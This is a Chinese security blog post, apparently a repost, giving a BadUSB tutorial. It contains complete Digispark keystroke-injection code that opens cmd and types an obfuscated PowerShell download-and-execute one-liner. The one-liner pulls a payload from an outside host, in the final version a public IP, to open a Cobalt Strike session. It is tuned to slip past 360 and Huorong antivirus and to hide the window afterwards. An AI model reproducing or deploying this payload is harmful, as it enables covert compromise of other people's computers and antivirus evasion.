声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
宝子们现在只对常读和星标的公众号才展示大图推送,建议大家把李白你好“设为星标”,否则可能就看不到了啦!本文由李白安全团队Jerry师傅原创并首发于先知社区
https://xz.aliyun.com/t/12505。
0x01 前言
0x02 准备阶段
参考链接:https:
//www.jianshu.com/p/b33d61fc2678
0x03 编写代码
void
setup
()
{
DigiKeyboard.delay(
2000
);
DigiKeyboard.sendKeyStroke(
0
);
DigiKeyboard.delay(
2000
);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
//win+r
DigiKeyboard.delay(
500
);
DigiKeyboard.print(F(
"cmd"
));
//输入cmd
DigiKeyboard.delay(
500
);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//回车
DigiKeyboard.delay(
500
);
//后面输入恶意代码
}
void
loop
()
{
}
这段代码先声明了一些键盘按键代表的字符,然后通过键盘唤起CMD。其中插入BadUsb后间隔2秒开始执行程序,每次输入字符后都间隔0.5s。
代码框架编写完成后,就可以开始构造我们的免杀恶意代码了。
要想通过键盘输入上线的我们的C2服务器,有2种思路。通过powershell命令上线 或 通过命令行文件下载恶意文件上线。
1、文件下载上线
考虑到免杀问题,certutil这些常见的命令几乎被所有杀软拦截,网上公开的绕过方法(例如双写certutil)可以绕过火绒,但360无法绕过。
文件成功下载后,恶意文件的免杀也具有一定局限性,所以如果考虑免杀,那么通过文件下载这种模式来实现BadUsb上线存在很大难度。
2、powershell命令上线
powershell上线也分两种方式
(1)通过ps1文件上线
有2种办法解决这个问题,使用钞能力购买闪存更大的开发板,或精简我们的ps1文件内容。至此通过ps1文件上线这个思路也在这里断了。
通过这种方法生成的payload较为精简,不存在闪存不足的问题,只需要针对性的做一下免杀即可。
这里给出我免杀的方法,设置别名+^字符间隔+加号拼接字符串。
cmd /c echo
set
-
alias
-name xz -
value
IEX;x^z (New-Object
"NeT.WeBClienT"
).d^o^w^n^l^o^a^d^s^t^r^i^n^g(
'ht'
+
'tP://19'
+
'2.168.1.1'
+
'/a'
) | p^o^w^e^r^s^h^e^l^l -
这里没有添加后台运行powershell的参数,因为hidden参数会影响免杀效果,这样的运行方式实测可以绕过火绒和360。
那么代码就算是初步完成了,如下。
void
setup
()
{
DigiKeyboard.delay(
2000
);
DigiKeyboard.sendKeyStroke(
0
);
DigiKeyboard.delay(
2000
);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
//win+r
DigiKeyboard.delay(
500
);
// powershell上线 免杀火绒360 窗口不隐藏 需要点鼠标杀软放行
DigiKeyboard.print(F(
"cmd"
));
//输入cmd
DigiKeyboard.delay(
500
);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//回车
DigiKeyboard.delay(
500
);
DigiKeyboard.print(F(
"cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "
NeT.WeBClienT
").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19'+'2.168.1.1'+'/a') | p^o^w^e^r^s^h^e^l^l -"
));
//POWERSHELL上线
DigiKeyboard.delay(
500
);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//回车
}
void
loop
()
{
}
0x04 代码优化
1、部分电脑存在默认中文输入法,在模拟键盘输入的过程中会存在中文输入,未达到预期输入的内容
解决方案:开始模拟键盘输入前锁定大小写,相应的我们的免杀代码也要做出对应的大小写修改。
DigiKeyboard.sendKeyStroke(KEY_CAPS_LOCK);
//锁定大小写,防止默认中文输入法
DigiKeyboard.
(F(
"cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19'+'2.168.1.1'+'/A’) | p^o^w^e^r^s^h^e^l^l -"
));
//POWERSHELL上线 路径大小写都要有a A
2、powershell运行完毕后,桌面留下一个黑框非常显眼。
解决方案:模拟键盘输入wind+d返回桌面隐藏cmd黑框,上线cs后立即迁移进程即可。
最终优化后的代码如下
void
setup
()
{
DigiKeyboard.delay(
2000
);
DigiKeyboard.sendKeyStroke(
0
);
DigiKeyboard.delay(
2000
);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
//win+r
DigiKeyboard.delay(
500
);
DigiKeyboard.sendKeyStroke(KEY_CAPS_LOCK);
//锁定大小写,防止默认中文输入法
DigiKeyboard.delay(
500
);
// powershell上线 免杀火绒360 窗口不隐藏 需要点鼠标杀软放行
DigiKeyboard.print(F(
"cmd"
));
//输入cmd
DigiKeyboard.delay(
500
);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//回车
DigiKeyboard.delay(
500
);
DigiKeyboard.print(F(
"cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://4'+'3.138.111.78'+'/A') | p^o^w^e^r^s^h^e^l^l -"
));
//POWERSHELL上线 路径大小写都要有a A
DigiKeyboard.delay(
500
);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//回车
DigiKeyboard.delay(
500
);
DigiKeyboard.sendKeyStroke(KEY_D,MOD_GUI_LEFT);
//win+d
}
void
loop
()
{
}
0x05 结语链接获取
这篇文章是在我能力范围之内想出的BadUsb免杀上线的思路,希望能给各位师傅提供思路,如果师傅有更为新颖高效的思路也欢迎交流。
同时免杀不易,请珍惜当前可用的免杀方式,不要放在微步、VT等平台检测免杀效果。
参考链接:
https:
//www.jianshu.com/p/b33d61fc2678
https:
//lzy-wi.github.io/2018IAMHUAPIDAN!/06/12/badusb/
https:
//www.cnblogs.com/binglicheng/p/11615535.html
https:
//blog.csdn.net/qq_34341458/article/details/123368269
https:
//blog.csdn.net/weixin_52444045/article/details/126432290
0x06 往期精彩
原文始发于微信公众号(夜组安全):攻防演练近源渗透—插U盘即可上线CS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论